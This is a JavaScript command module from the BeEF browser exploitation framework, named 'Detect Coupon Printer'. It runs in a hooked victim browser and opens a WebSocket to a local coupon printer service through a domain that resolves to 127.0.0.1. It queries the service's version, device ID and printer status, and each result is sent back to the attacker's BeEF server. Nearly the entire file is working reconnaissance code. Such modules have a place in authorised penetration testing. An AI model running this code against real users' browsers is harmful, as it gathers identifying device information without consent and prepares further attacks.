64 lines
2.4 KiB
JavaScript
64 lines
2.4 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
|
|
if (!beef.browser.hasWebSocket()) {
|
|
beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets');
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
|
|
}
|
|
|
|
//var url = 'ws://127.0.0.1:2687';
|
|
//var url = 'ws://127.0.0.1:26876';
|
|
var url = 'wss://printer.cpnprt.com:4004'; // resolves to 127.0.0.1
|
|
|
|
beef.debug('[Detect Coupon Printer] Opening WebSocket connection: ' + url);
|
|
const socket = new WebSocket(url);
|
|
|
|
socket.addEventListener('open', function (event) {
|
|
|
|
// Get Coupon Printer Service version
|
|
socket.send('method=GetVersion;input=Y|;separator=|');
|
|
|
|
// Device ID
|
|
socket.send('method=GetDeviceID;input=Y|;separator=|');
|
|
|
|
// Check Printer
|
|
socket.send('method=CheckPrinter;input=Y|;separator=|');
|
|
|
|
});
|
|
|
|
socket.onerror = function(error) {
|
|
beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error));
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error());
|
|
};
|
|
|
|
socket.onclose = function(event) {
|
|
beef.debug('[Detect Coupon Printer] Disconnected from WebSocket.');
|
|
};
|
|
|
|
socket.addEventListener('message', function (event) {
|
|
beef.debug('[Detect Coupon Printer] WebSocket Response:' + event.data);
|
|
try {
|
|
var result = JSON.parse(event.data);
|
|
if (result['GetVersion']) {
|
|
beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']);
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success());
|
|
} else if (result['GetDeviceID']) {
|
|
beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']);
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success());
|
|
} else if (result['CheckPrinter']) {
|
|
beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']);
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success());
|
|
}
|
|
} catch(e) {
|
|
beef.debug('Could not parse WebSocket response JSON: ' + event.data);
|
|
}
|
|
});
|
|
|
|
});
|
|
|